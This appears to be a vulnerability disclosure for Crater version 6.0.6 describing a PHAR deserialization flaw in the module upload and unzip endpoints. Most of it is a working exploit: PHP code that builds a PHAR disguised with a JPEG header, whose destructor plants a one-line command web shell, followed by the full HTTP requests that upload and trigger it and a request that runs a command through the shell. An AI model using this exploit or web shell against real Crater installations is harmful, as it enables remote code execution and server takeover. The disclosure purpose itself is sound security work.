Description

In recent Crater version (18507ddb tag: 6.0.6) highly privileged user can upload malicious module file and run insecure deserialization, which can lead to remote code execution.

Proof of Concept

1. Prepare PHAR file -> php --define phar.readonly=0 phar.php

<?php

class AnyClass {
    public $data = null;
    public function __construct($data) {
        $this->data = $data;
    }
    
    function __destruct() {
        file_put_contents("public/webshell.php", '<?=`$_GET[1]`?>');
    }
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('ASDF');
$phar->setMetadata($object);
$phar->stopBuffering();

2. Upload it

POST /api/v1/modules/upload HTTP/1.1
Host: 172.17.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
company: 1
X-XSRF-TOKEN: eyJpdiI6ImxuUkV3ejh4bENjcEJ6c0NZOWN0MFE9PSIsInZhbHVlIjoiT0JiL3o1bWgzVmlrbW5ROEN6U0o0U1N1d1BCQm5UbklwL2k1M0NtZFBLa2gyKzh2R2g4bTROYlNKSmdzYnRmQktVWUx0bzg4TmpmTDM0Z3NsNHlxaGwwNHJoSG1mVm9uVFhsQzIreHowS2ErbmxwYWl2UDRMWlpRQXlUekROUmwiLCJtYWMiOiIwMGY5YzIzZjIyNWM3MjQzMWE5M2IzYmM3NWJkYTllYTljMTMxZTQzOGY3MTJiMjM5MzYxNmIzNzRjMDA0NTQ4IiwidGFnIjoiIn0=
Content-Type: multipart/form-data; boundary=---------------------------52936095825898531831621068832
Content-Length: 544
Origin: http://172.17.0.1:8888
DNT: 1
Connection: close
Referer: http://172.17.0.1:8888/admin/settings/account-settings
Cookie: ...

-----------------------------52936095825898531831621068832
Content-Disposition: form-data; name="avatar"; filename="file.jpg"
Content-Type: image/jpeg

<PHAR_FILE_CONTENT>
-----------------------------52936095825898531831621068832
Content-Disposition: form-data; name="module"
Content-Type: image/jpeg

phar.phar
-----------------------------52936095825898531831621068832--

In response You'll get uploaded file path

"temp-92cc0d1538d90f45a1be483a90b72915\/phar.phar.zip"

3. Run It

POST /api/v1/modules/unzip HTTP/1.1
Host: 172.17.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
company: 1
Content-Type: application/json;charset=utf-8
X-XSRF-TOKEN: eyJpdiI6IkhFZXM0eEJuY3hCZCtIWlRqMFJySFE9PSIsInZhbHVlIjoiU29PTzBVK29HR3pyRjVTWkRWL0lXUitTSENzQjEyWkZJbUVXMnRXalJyMk9XMDgwZk4xVHNPek04U1p2TERGNGpKby83NUUzb01YOFRlVWwxdWd3ZDlPaUM2Mm5zc2VhVEM1Zy83RHNpMFQwY3I5RXNEOUhMcXZ1dlFpV21NVTMiLCJtYWMiOiJkNDE4YjI4YmU1NzU5MzI2YWYxMDY2ZTMzNTA3YThhMmI3MzAyNmMzN2Y1YWM5OWI2NzI2MWYzNThmMTA5MGJhIiwidGFnIjoiIn0=
Content-Length: 96
Origin: http://172.17.0.1:8888
DNT: 1
Connection: close
Referer: http://172.17.0.1:8888/admin/users/create
Cookie: ...

{"module":"ASDF","path":"phar://../storage/temp-92cc0d1538d90f45a1be483a90b72915/phar.phar.zip"}

4. Visit http://172.17.0.1:8888/webshell.php?1=id

Impact

This vulnerability is high and leads to code execution